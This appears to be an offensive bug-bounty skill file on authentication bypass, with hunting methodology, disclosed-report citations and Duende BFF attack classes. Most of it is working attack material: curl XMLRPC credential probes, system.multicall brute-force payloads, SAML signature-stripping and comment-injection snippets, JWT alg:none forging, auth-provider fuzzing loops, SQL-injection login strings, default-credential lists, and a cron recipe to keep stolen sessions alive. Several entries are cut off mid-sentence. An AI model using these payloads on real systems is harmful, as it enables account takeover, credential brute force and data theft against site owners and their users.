| name | hunt-auth-bypass |
| description | Hunting skill for auth bypass vulnerabilities. Built from 12 public bug bounty reports across SAML XSW / parser-differential (GitHub Enterprise CVE-2025-25291/25292), SAML signature stripping (Uber, Rocket.Chat, samlify CVE-2025-47949), SAML domain enforcement bypass via control characters (HackerOne 2024), partner-portal cross-IdP assertion reuse (Slack), WordPress XMLRPC bypassing SSO (Uber), JWT alg-confusion HS256/RS256 (Jitsi), JWT signature-validation skip (Linktree, Newspack), and token-audience confusion (Argo CD CVE-2023-22482). Use when hunting auth bypass — see the Legacy-Protocol Matrix for branded-UI vs legacy-endpoint patterns. |
| sources | github, hackerone_public, github_security_lab, projectdiscovery_research |
| report_count | 12 |
Crown Jewel Targets
Auth bypass is consistently one of the highest-paying vulnerability classes in bug bounty because it directly violates the most fundamental security control. High-value targets include:
- SSO/SAML implementations at enterprise SaaS companies (Slack, Okta, OneLogin integrations) — payouts regularly in the $5K–$25K+ range
- Admin panels and partner/internal portals — subdomain-separated admin surfaces like
partners.shopify.com, admin.company.com
- Third-party auth plugin integrations — WordPress plugins (OneLogin, WP-SAML-Auth), Drupal SSO modules, any CMS with pluggable auth
- XMLRPC endpoints on WordPress — often forgotten, bypasses standard WP auth flows entirely
- OAuth callback flows — state parameter mishandling, redirect_uri mismatches
- API authentication layers — especially where auth was bolted on after the fact
Asset priority: Targets with federated identity (SAML, OAuth, OIDC) connected to large user populations. Partner/reseller portals are particularly juicy because they often have elevated permissions and less security scrutiny than the main product.
Attack Surface Signals
URL patterns to hunt:
/xmlrpc.php
/wp-login.php
/saml/
/sso/
/auth/saml/callback
/oauth/callback
/partners.*
/admin.*
/?wc-api=
/api/v*/auth
/login?redirect=
/accounts/login
Response headers signaling SSO:
X-Frame-Options: SAMEORIGIN (common on SSO portals)
Set-Cookie: SAMLResponse=
Location: https://idp.company.com/saml
WWW-Authenticate: Bearer realm="partners"
JS patterns indicating federated auth:
// Look for in page source
samlRequest
RelayState
SAMLResponse
onelogin
shibboleth
okta
passport.js authenticate
Tech stack signals:
- WordPress + any SSO plugin → check XMLRPC separately
- Shopify Partner API exposure → cross-tenant privilege escalation risk
- Any app advertising "SSO enabled" or "Login with [Enterprise IdP]"
- Separate subdomains for admin/partner that share session cookies with main domain
- Applications using
SimpleSAMLphp, ruby-saml, python-saml
Burp passive scan triggers:
SAMLResponse in any POST body
openid_connect or id_token in responses
- Cookie domains set to
.company.com (wildcard)
Step-by-Step Hunting Methodology
-
Map all authentication entry points
- spider the target for every login surface: main login, admin login, API login, partner portal, mobile API endpoints
- check
robots.txt, JS files, and the wayback machine for forgotten endpoints like /xmlrpc.php
-
Identify the auth mechanism per entry point
- Is it forms-based, SAML, OAuth, API key, session token?
- For WordPress: always probe
/xmlrpc.php even if the main login is SSO-protected
-
Test XMLRPC independently of SSO
- If site uses SSO (e.g., OneLogin), manually POST to
/xmlrpc.php
- XMLRPC uses WordPress-native credentials, not SSO — test with
system.listMethods first, then wp.getUsersBlogs
-
Enumerate SAML implementation
- Capture a valid SAMLResponse via Burp
- Decode the Base64 payload, inspect the XML
- Test signature stripping, comment injection, and XML wrapping attacks
- Test if SP validates the signature at all (send unsigned assertion)
-
Test cross-portal session/token reuse
- Log into
partners.shopify.com type portals
- Attempt to use the issued token/cookie against the main admin portal
- Look for shared cookie domains, shared JWT secrets, or API tokens that work across contexts
-
Fuzz auth parameters
- Null/empty passwords,
password[]=array, SQL in username field
- Try
admin/admin, test/test on staging subdomains
- Modify
role, is_admin, user_type in JWTs (none algorithm, weak secret)
-
Check redirect and state parameters
- Does removing
state from OAuth break anything?
- Can you change
redirect_uri to an open redirect target?
- Does the
RelayState in SAML get validated?
-
Verify impact by escalating privileges
Legacy-Protocol Matrix (Probe These First on Any Custom-Branded Login)
When a target has a custom, branded login UI (e.g. customlogin.aspx, /auth/signin, /account/login), always probe the platform's legacy protocol endpoints with native credentials in parallel. These endpoints frequently outlive the custom UI's protections and accept native credentials with NO rate limit, NO MFA challenge, NO CAPTCHA, NO anti-automation. This is the WordPress XMLRPC pattern generalised across CMS / portal / framework stacks.
| Target tech | Legacy endpoint(s) to probe | Native-cred bypass surface |
|---|
| WordPress | /xmlrpc.php (system.listMethods, wp.getUsersBlogs, system.multicall) | Native WP user/pass; bypasses SSO, MFA, IP-allow rules on /wp-login.php |
| WordPress (REST) | /?rest_route=/wp/v2/users, /wp-json/wp/v2/users | User enumeration anonymously even when login page is hardened |
| SharePoint (any version) | /_vti_bin/Authentication.asmx (Mode + Login SOAP ops) | Native Forms-auth credential; FedAuth cookie returned; no rate limit on this endpoint observed on SP2013 farms — this is the canonical SP equivalent of the WP XMLRPC bypass |
| SharePoint legacy | /_vti_bin/_vti_aut/author.dll, /_vti_bin/_vti_adm/admin.dll, /_vti_bin/owssvr.dll | FrontPage RPC; sometimes still wired to credential validators |
| SharePoint REST | /_api/contextinfo (POST), /_api/$metadata | Anonymous FormDigest issuance; full API surface enumeration |
| Atlassian (Jira / Confluence) | /rest/auth/1/session (basic-auth), /rest/api/2/myself, legacy /rest/api/1.0/ | Native credentials accepted on /rest/auth/1/session even when Atlassian Crowd / Atlassian Access SSO is enforced on the UI |
| Drupal | /jsonapi/, /user/login?_format=json | JSON POST endpoint that accepts native passwords; separate from SSO middleware |
| Drupal (D7 legacy) | /?q=user/login, /services/, /rest/ | Older REST modules with independent auth |
| Joomla | /administrator/index.php?option=com_login, |
How to use:
- Identify the tech stack from headers + paths (use
hunt-misc Attack Surface Signals).
- Find the row above that matches.
- Probe the legacy endpoint anonymously to confirm it's reachable and not 403/404.
- Test with synthetic credentials to confirm it accepts native credential format and returns differential responses (success vs failure).
- Verify there is no rate limit, no lockout, no CAPTCHA — burst 10 requests at the same user, confirm uniform timing.
- Report as Critical / High depending on chain to ATO: an anonymous + unlimited credential brute-force endpoint is consistently Critical on bug-bounty programs.
Lesson from a authorized engagement: A an enterprise dealer portal on SharePoint 2013 had a custom branded customlogin.aspx. The hunt-auth-bypass skill was loaded but the matrix above did not exist in this document — and the WordPress XMLRPC pattern was not connected to the SharePoint equivalent. /_vti_bin/Authentication.asmx was reachable anonymously, accepted unlimited credential attempts with no rate limit and no lockout, and was the highest-impact finding in the engagement. Walking this matrix on the first pass would have surfaced it immediately.
Payload & Detection Patterns
XMLRPC auth probe (bypasses SSO):
curl -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>'
# If 200 with method list → XMLRPC is enabled, test auth:
curl -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>password</string></value></param>
</params>
</methodCall>'
SAML signature stripping (send unsigned assertion):
import base64, re
# Decode captured SAMLResponse
saml_b64 = "BASE64_FROM_BURP"
saml_xml = base64.b64decode(saml_b64).decode()
# Strip the Signature element entirely
stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)
# Re-encode and submit
print(base64.b64encode(stripped.encode()).decode())
SAML XML comment injection (username confusion):
<!-- Original NameID -->
<NameID>attacker@evil.com</NameID>
<!-- Injected to confuse parser -->
<NameID>attacker@evil.com<!---->.victim@company.com</NameID>
<!-- Or namespace confusion -->
<NameID xmlns:evil="http://evil.com">victim@company.com</NameID>
Partner/cross-portal token reuse test:
# Get token from partner portal
TOKEN=$(curl -s -X POST https://partners.target.com/login \
-d 'email=attacker@test.com&password=pass' \
-c cookies.txt | grep -o 'token=[^;]*')
# Replay against admin portal
curl -s https://admin.target.com/dashboard \
-H "Authorization: Bearer $TOKEN" \
-H "Cookie: $TOKEN"
JWT none algorithm attack:
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"victim@company.com"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
print(token)
Grep patterns for auth bypass surface:
# Find XMLRPC in scope
grep -r "xmlrpc" scope_urls.txt
# Find SSO indicators in JS
grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js
# Find partner/admin subdomains
subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"
Common Root Causes
-
SSO bypasses local auth entirely at the UI layer, but not at the API layer — developers disable the login form but forget that API endpoints (/xmlrpc.php, REST API, mobile API) have their own auth handlers that still accept native credentials.
-
SAML signature validation is skipped or optional — library defaults often don't enforce signature checking; developers use wantAssertionsSigned: false or fail to configure the IdP certificate correctly.
-
Shared session infrastructure across different trust levels — partner portals and admin portals reuse the same session cookie or JWT secret because they're built on the same internal framework, assuming access control at the application layer is sufficient.
-
Trust inheritance in multi-tenant architectures — a token issued in a lower-privilege context (partner, reseller) is accepted in a higher-privilege context because the verification only checks signature validity, not the issuance context.
-
Plugin/module auth is independent of application auth — every WordPress plugin that handles auth (contact forms, REST API extensions, WooCommerce) may implement its own auth handler inconsistently with the main site's SSO.
-
XML parsing inconsistencies — different XML parsers (used by SP vs. IdP) handle comments, namespaces, and whitespace differently, enabling confusion attacks where the signed content differs from the evaluated content.
Bypass Techniques
| Defense | Bypass |
|---|
| SSO enforced on login page | Probe alternate entry points: XMLRPC, REST API, mobile API, legacy endpoints |
| SAML signature validation | XML comment injection, namespace wrapping, signature wrapping (XSW), remove signature entirely |
| IP allowlisting on admin portal | Use partner portal token if it shares auth backend |
| Rate limiting on login | XMLRPC allows credential stuffing via system.multicall — batches hundreds of auth attempts in one request |
| CSRF token on login form | SAML flow is POST-based cross-origin by design; no CSRF token needed on /saml/callback |
| JWT signature validation | alg: none, key confusion (RS256 → HS256 with public key as secret), brute-force weak secrets |
| Separate session stores per portal | Check if cookie domain is .target.com (wildcard) — cookie bleeds between subdomains |
| MFA on primary login | If SAML SP doesn't enforce MFA at the assertion level and accepts pre-auth assertions, MFA can be skipped |
XMLRPC multicall for mass auth bypass:
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<!-- repeat for each credential pair -->
</data></array></value></param></params>
</methodCall>
Gate 0 Validation
Before writing any report, answer these three questions:
-
What can the attacker DO right now?
Must be: authenticate as another user OR authenticate without valid credentials OR elevate to admin/privileged role. "Partial information disclosure" is not auth bypass.
-
What does the victim LOSE?
Must identify a concrete asset: account takeover of specific user, access to all admin functions, ability to read/modify other tenants' data, or access to privileged APIs. Abstract "security control bypass" without impact is not sufficient.
-
Can it be reproduced in 10 minutes from scratch?
You must be able to: (a) start from a fresh browser/session, (b) follow your exact steps, and (c) arrive at authenticated access to a protected resource. If reproduction requires special preconditions you can't re-create (a specific victim's active session, timing windows), the report needs more work.
Real Impact Examples
Scenario 1 — SSO Enforcement Bypassed via Forgotten Protocol Endpoint
A large ride-sharing company enforced SSO (via OneLogin) on all WordPress-based internal/public properties. The XMLRPC endpoint (/xmlrpc.php) remained active and accepted WordPress-native credentials entirely independent of the SSO flow. An attacker with any valid WP-native credentials (obtained via credential stuffing or from a previous breach) could authenticate directly through XMLRPC, bypassing MFA, SSO policies, and IP restrictions enforced on the main login form. Impact: Full authenticated access to all WordPress functions available to that user role, including content management and potentially admin functions.
Scenario 2 — SAML Assertion Forgery via Signature Validation Failure
A major enterprise communication platform's SAML SP implementation failed to properly validate assertion signatures in specific edge cases. By manipulating the XML structure of a captured SAMLResponse (specifically through comment injection or namespace prefix attacks), an attacker could modify the NameID value to impersonate any user in an organization — including workspace administrators — without possessing that user's credentials or private key material. Impact: Complete account takeover of any user within a SAML-enabled organization; attacker gains access to all messages, files, and integrations in the workspace.
Scenario 3 — Cross-Portal Privilege Escalation via Shared Auth Backend
An e-commerce platform's partner/reseller portal issued authentication tokens that were validated by the same backend service as the merchant admin portal. A partner-level account (lower trust, external-facing) could use its issued credentials or tokens to authenticate directly against admin-tier API endpoints, bypassing the merchant onboarding and permission assignment flow. Impact: A malicious partner could access any merchant's admin panel, modify store configurations, exfiltrate customer PII and payment data, or install malicious scripts — affecting thousands of merchant storefronts.
Disclosed Report Citations (Backfill +8 — 2016-2025)
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.
-
GitHub Enterprise Server — SAML XSW via parser differential (CVE-2025-25291/25292) (H1 #2579939 · Blog)
- Subclass: SAML signature stripping / XSW (parser-differential variant)
- Payload: signed SAML response; inject a sibling
<Assertion> so REXML (signature-checker) and Nokogiri (business-logic reader) resolve different nodes via the same XPath. Signature validates against benign node; SP consumes attacker-controlled <NameID>admin@target</NameID>
- Root cause: two XML parsers used for verification vs consumption return different elements for the same XPath
- Year: 2025 — GitHub Security Lab bounty (program max class, internally rated Critical)
-
GitHub Enterprise — SAML signature bypass on encrypted assertions (CVE-2024-4985) (H1 #2475347 · ProjectDiscovery advisory)
- Subclass: SAML signature stripping (XSW family) when encrypted-assertions feature enabled
- Payload: forge SAML response with attacker-controlled assertion; exploit improper signature verification on the encrypted-assertion code branch; provision arbitrary user including
site_admin
- Root cause: improper cryptographic signature verification on the encrypted-assertion code branch
- Year: 2024 — bounty undisclosed, CVSS 10.0
-
Uber — SAML auth bypass on uchat.uberinternal.com (H1 #223014)
- Subclass: SAML signature stripping / improper assertion verification (OneLogin SP-side)
- Payload: replay/modify SAML assertion with forged
NameID; SP did not strictly validate signature scope, so attacker-controlled assertion accepted, granting OneLogin SSO session to internal chat
- Root cause: improper SAML signature verification on SP implementation
- Year: 2017 — $8,500
-
Uber — OneLogin SSO bypass via WordPress XMLRPC (H1 #138869)
- Subclass: WordPress XMLRPC bypassing SSO (legacy-auth path not gated) — canonical Legacy-Protocol Matrix case
- Payload: OneLogin plugin auto-created WP users with literal password
@@@nopass@@@. SSO plugin blocked only. POST with + known shared password → authenticated as any previously-SSO'd user
Duende BFF — Token-Confusion & Session-Fixation (2024-2026 surface)
Duende BFF deployments expose two distinct auth-bypass families beyond the CSRF angle covered in hunt-csrf. Both are documented architectural realities, not unicorn CVEs.
Attack class 1 — YARP UserOrClient / UserOrNone privilege escalation
Duende.BFF.Yarp attaches access tokens to proxied routes via WithAccessToken(TokenType.X) metadata. The misconfig pattern: developer marks a route UserOrClient (use user token if logged in, else fall back to client-credentials token) intending it for a "public catalog" endpoint. The client-credentials (M2M) token frequently has broader scope (api.admin, internal.read) than any user token. An unauthenticated attacker hitting that route gets the request proxied with the service-account token attached to the downstream API — privilege escalation by design when the downstream trusts the bearer.
Payload shape: identify a BFF route marked TokenType.UserOrClient (visible via 401-vs-200 differential when no session, or via leaked OpenAPI/NSwag spec). Hit it with no cookies → BFF forwards with M2M token granting admin-scope downstream. (docs.duendesoftware.com/bff/fundamentals/apis/yarp)
Adjacent confirmed CVE: CVE-2024-51987 in Duende.AccessTokenManagement.OpenIdConnect — "HTTP client uses incorrect token after refresh" — materially the same family of token-confusion at the proxy layer. Moderate severity, fixed 2024. (GHSA-...51987)
Attack class 2 — Cookie-domain wildcard + sliding expiration = persistent ATO
When BFF session cookie has Domain=.example.com (devs do this to share login across app. and admin.), the __Host- prefix protection is dropped. Any sibling subdomain — including a taken-over one (legacy.example.com CNAMEd to deprovisioned Heroku/S3) — can write Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com. Victim hits app.example.com carrying the attacker's session = session-fixation ATO.
If SlidingExpiration=true (default) and ExpireTimeSpan is large (e.g. 8h), an exfiltrated cookie remains valid and keeps sliding forward as long as the attacker periodically calls /bff/user. There is no server-side refresh-token rotation check on the cookie itself — only the OIDC token (server-side) rotates. Persistent ATO window per stolen cookie.
Payload shape: subdomain takeover → write the BFF session cookie with Domain=.example.com → victim's next visit to app.example.com adopts attacker's session. Cron-curl GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...' every 6h indefinitely to keep the session alive.
Hardening reference: docs.duendesoftware.com/bff/fundamentals/session/handlers, nestenius.se BFF cookie guide, Langkemper on __Host- prefix.
Attack class 3 — /bff/user claim disclosure
GET /bff/user returns the full claim set of the active session as a JSON array — sub, sid, email, bff:session_expires_in, bff:session_state, bff:logout_url, plus every custom claim the OP issued (department, role, internal employee ID, tenant ID). The endpoint is gated only by session cookie + X-CSRF: 1. If AnonymousSessionResponse=Response200 is set, the endpoint also acts as a session probe (200 + claims vs 200 + null) usable as an auth-state oracle. Low/Medium info-disclosure on its own; valuable as recon for the YARP token-confusion class above. (docs.duendesoftware.com/bff/fundamentals/session/management/user)
Evidence strength + reporting tip
No Duende.BFF-direct CVE exists. The three classes are exploitable via real-world misconfigurations; CVE-2024-51987 and CVE-2025-26620 in the adjacent Duende.AccessTokenManagement packages make token-confusion a confirmed family. Report by chain impact (e.g., "low-priv session reaches admin-scope downstream API via UserOrClient route" → Critical) rather than by CVE citation, since the issue is design-level.
Cross-references for the chain:
hunt-csrf — the role-partitioned antiforgery class (the CSRF angle on the same BFF surface).
hunt-subdomain-takeover / hunt-subdomain — required primitive for the cookie-domain attack.
Function-Level Access Control (Broken Authorization)
Authentication bypass gets you in; function-level access control failures let an already-authenticated low-privilege user reach privileged functions the UI never offered them. This is the authorization sibling of hunt-idor (object-level access) — test both whenever you hold any authenticated session.
The sibling-function rule: if 9 endpoints under a path enforce auth/role middleware, the 10th that doesn't is your bug. Admin route families are the highest-yield place to look:
/api/admin/users → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset → often MISSING it
Anti-patterns to grep for:
// Missing middleware on a sibling route
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport); // No middleware!
// Client-side role check only — server never re-checks
if (user.role === 'admin') showAdminButton(); // frontend gate
app.post('/api/admin/delete', deleteUser); // no server-side check
How to hunt: enumerate every privileged endpoint (admin/export/delete/reset/impersonate, GraphQL admin queries), then replay each from a regular authenticated session — and again with no session. A 200 (or a differential vs the 403 its siblings return) is broken function-level access control.
Real paid example — HackerOne TrustHub: POST /graphql with the TrustHubQuery operation had no authorization check — a regular user could read all vendors' data (CVSS 8.7, High). The object-level variant (e.g. a WebSocket get_history accepting an arbitrary UUID with no ownership check) belongs to hunt-idor.
Phase X — Auth Provider Confusion
Some applications support multiple authentication providers (local DB, OAuth, LDAP, Apache HTTP Basic, SAML). Changing the auth_provider parameter to an alternative handler may skip password verification entirely. Confirmed on phpBB CVE-2026-48611 where auth_provider=apache bypassed password check.
# Enumerate auth providers via parameter fuzzing
for provider in local oauth ldap apache saml cas openid sso external; do
curl -sk -X POST "https://target.com/auth/login" \
-d "username=admin&password=x&auth_provider=$provider" \
-w "$provider — %{http_code}\n" -o /dev/null
done
# phpBB-specific: Apache provider trusts HTTP Basic header without password
curl -sk -X POST "https://target.com/ucp.php?mode=login_link&auth_provider=apache&login_link_test=1" \
-H "Authorization: Basic $(echo -n 'admin:x' | base64)" \
-d "login_username=admin&login_password=x&login=Login"
Phase Y — POST Body Parameter Override
Some frameworks give POST body parameters priority over GET query parameters. An attacker can hide the real mode=login_link in the POST body while the WAF/logger sees only mode=login in the URL:
# WAF sees GET: mode=login — attacker sends POST body: mode=login_link
curl -sk -X POST "https://target.com/ucp.php?mode=login&login_link_test=1" \
-d "login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=Login"
Phase Z — Dummy Parameter Injection for Empty-Check Bypass
When code requires certain parameters to be non-empty but doesn't validate their content, inject dummy values:
# Code checks: if (empty($login_link_data)) → block
# Bypass: add any login_link_* parameter with arbitrary value
curl -sk "https://target.com/ucp.php?mode=login_link&login_link_dummy=1"
Escalation: Auth Bypass → Admin via User Group Management
After impersonating a privileged user, check if group/role management is available without re-authentication. On phpBB, the founder user can add other users to the administrator group from the User Control Panel without entering their password:
# 1. Auth bypass as admin
# 2. Register new attacker account
# 3. As admin, add attacker to ADMINISTRATORS group via UCP (no password needed)
# 4. Login as attacker → full ACP access with known password
---
## Authorized Credential Test Planning
When reducing entry points, default credentials, username variants, port focus, and dictionary sizing are consolidated here.
### Service-first tiny sets
| Service Type | First Usernames | First Passwords |
|---|---|---|
| phpMyAdmin | `root`, `admin` | empty, `root`, `phpmyadmin`, `admin` |
| FTP | `ftp`, `admin`, `test` | empty, `ftp`, `admin`, `123456` |
| SSH | `root`, `admin`, service account names | `root`, `admin`, seasonal variants |
| MySQL | `root`, `mysql` | empty, `root`, `mysql` |
| Tomcat / Java admin | `tomcat`, `admin`, `manager` | `tomcat`, `admin`, `s3cret` |
| WebLogic | `weblogic`, `admin` | `weblogic`, `welcome1`, `admin` |
### Username classes
| Class | Examples |
|---|---|
| Generic admins | `admin`, `administrator`, `root`, `test`, `guest` |
| Support / ops | `dev`, `ops`, `sysadmin`, `service`, `backup` |
| Name-based | `firstname`, `lastname`, `f.lastname`, `first.last` |
| Mail-derived | left side of corporate email formats |
| Product-based | `tomcat`, `weblogic`, `jenkins`, `gitlab` |
### Wordlist sizing and port focus
| Scenario | Preferred Size | Why |
|---|---|---|
| Default admin panel | 5 to 50 passwords | Defaults beat giant lists here |
| Internal service with known product | vendor-specific small set | Better signal than generic lists |
| Consumer login with weak controls | Top 20 or Top 100 | Fast verification |
| Rate-limited login | tiny list + header/rotation strategy | Preserve attempts |
| Offline hash cracking | large dictionaries | Online brute rules do not apply |
Priority ports and services: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, 3306/5432/6379/27017 data/admin services.
---
## SQL Injection Login Bypass
Classic but still found in legacy systems, custom ORMs, and raw query code:
```sql
-- Basic bypass (admin user assumed first row):
Username: admin'--
Password: anything
-- Generic bypass (logs in as first user in DB):
Username: ' OR '1'='1'--
Password: anything
-- Variants to try:
Username: ' OR 1=1--
Username: admin' OR 'a'='a
Username: 1' OR '1'='1'/*
Username: 1 or 1=1
Test each field separately — only one field may be vulnerable.
Username / Password Field Manipulation
Long Password DoS → Bypass
bcrypt has a 72-byte limit — input beyond 72 bytes is ignored. Register with "A"*100, login with "A"*72 → same hash → works. Login with "A"*71 + "totally different" → if truncation → same hash if first 72 chars match.
Null Byte in Username
username=admin%00 vs username=admin — null byte truncation in some string comparisons: "admin\0attacker" = "admin" in C-string comparison.
Unicode Normalization
ⓢcott → normalizes to scott → impersonates scott. Various Unicode homoglyphs for letters a, d, m, i, n → impersonate admin.
Password Reset Attack Matrix (22 Patterns)
| # | Pattern | Description |
|---|
| 1 | Predictable reset token | Token based on timestamp, user ID, or sequential number |
| 2 | Token not bound to user | Use token generated for user A to reset user B |
| 3 | Token in response body | Reset token returned in HTTP response (not just email) |
| 4 | Token in URL parameter | Reset link token visible in Referer header to external resources |
| 5 | No token expiration | Token remains valid indefinitely |
| 6 | Token reuse | Same token works multiple times |
| 7 | Short/brute-forceable token | 4-6 digit numeric code without rate limiting |
| 8 | Password reset via host header | Host: attacker.com → reset link sent with attacker's domain |
| 9 | Registration overwrites existing account | Register with same email → overwrites password |
| 10 | Step skip (frontend only) | Jump directly to "set new password" step via URL |
| 11 | Response manipulation | Change {"status":"fail"} to {"status":"success"} in proxy |
| 12 | Verification code in response | SMS/email code returned in API response |
| 13 | Parallel session reset | Start reset for A, complete with B's session |
| 14 | Email/phone parameter pollution | email=victim@x.com&email=attacker@x.com |
| 15 | Unicode normalization | admin@target.com vs ADMIN@target.com vs Unicode confusables |
| 16 | SQL injection in reset | Email field injectable in reset query |
| 17 | IDOR on reset endpoint | Change user ID in reset confirmation request |
| 18 | Cross-protocol reset | Mobile API doesn't validate same token as web |
| 19 | Default security questions | Guessable answers, no rate limit |
|
CAPTCHA / Verification Bypass Patterns (20 Methods)
| # | Method | How |
|---|
| 1 | Remove captcha parameter | Delete captcha field from request |
| 2 | Send empty captcha | captcha= or captcha=null |
| 3 | Reuse previous captcha | Same captcha value works multiple times |
| 4 | Captcha not bound to session | Use captcha solved in session A for session B |
| 5 | Server-side validation missing | Captcha checked client-side only |
| 6 | Response manipulation | Intercept and change response to bypass |
| 7 | Change request method | POST→GET or vice versa may skip captcha check |
| 8 | JSON content-type | Switch from form to JSON — captcha handler may not process |
| 9 | OCR bypass | Simple captchas solvable with tesseract/ML |
| 10 | Audio captcha weakness | Audio often simpler than visual |
| 11 | SMS code in response | Verification code returned in API response body |
| 12 | SMS code predictable | Sequential or time-based codes |
| 13 | No rate limit on code verification | Brute-force 4-6 digit code |
| 14 | Code not bound to phone/email | Use code sent to phone A on account B |
| 15 | Code doesn't expire | Old codes remain valid |
| 16 | Null byte in phone number | +1234567890%00 bypasses dedup but delivers to same number |
| 17 | Case sensitivity | Email: Admin@X.com vs admin@x.com |
| 18 | Space/encoding in identifier | user@x.com vs user@x.com (trailing space) |
| 19 | Concurrent requests | Race condition: send verify before captcha loads |
| 20 | Third-party captcha bypass | Misconfigured reCAPTCHA site key allows any domain |
Insecure Randomness — Token Prediction
UUID v1 (Time-Based — Predictable)
UUID v1 format: timestamp-clock_seq-node(MAC). MAC address often leaked via other endpoints. Timestamp is 100ns intervals since 1582-10-15. Tool: guidtool (reconstruct possible UUIDs from known timestamp range).
MongoDB ObjectId
ObjectId = 4-byte timestamp + 5-byte random + 3-byte counter. First 4 bytes = Unix timestamp → creation time leaked. Counter is sequential → adjacent ObjectIds predictable. If you know one ObjectId, nearby ones are calculable.
PHP uniqid()
uniqid() = hex(microtime). Entirely based on current microsecond timestamp. Predictable if you know approximate server time.
PHP mt_rand() Recovery
mt_rand() uses Mersenne Twister PRNG. After observing ~624 outputs, full internal state is recoverable. Tool: openwall/php_mt_seed — feed known outputs → recover seed → predict all future values.
Tools
guidtool — UUID v1 reconstruction
AethliosIK/reset-tolkien — Automated token prediction for password resets
openwall/php_mt_seed — PHP mt_rand seed recovery
sandwich — Token timestamp analysis
Related Skills & Chains
hunt-idor — Auth bypass without object-level access is half a finding; pair them.
hunt-ato — Auth-bypass primitives feed the ATO funnel.
hunt-sharepoint — The SP equivalent of the WordPress XMLRPC pattern.
hunt-mfa-bypass — MFA-step-skip is auth-flow bypass at the workflow layer.
hunt-brute-force — Rate-limit gaps on login, OTP brute, IP rotation bypass, plus the universal password spray pipeline (AADSTS/Okta/Exchange error codes, protocol spray matrix).
security-arsenal — JWT-attack payloads, SAML signature-stripping, rate-limit bypass tables.
triage-validation — Pre-Severity Gate before claiming Critical.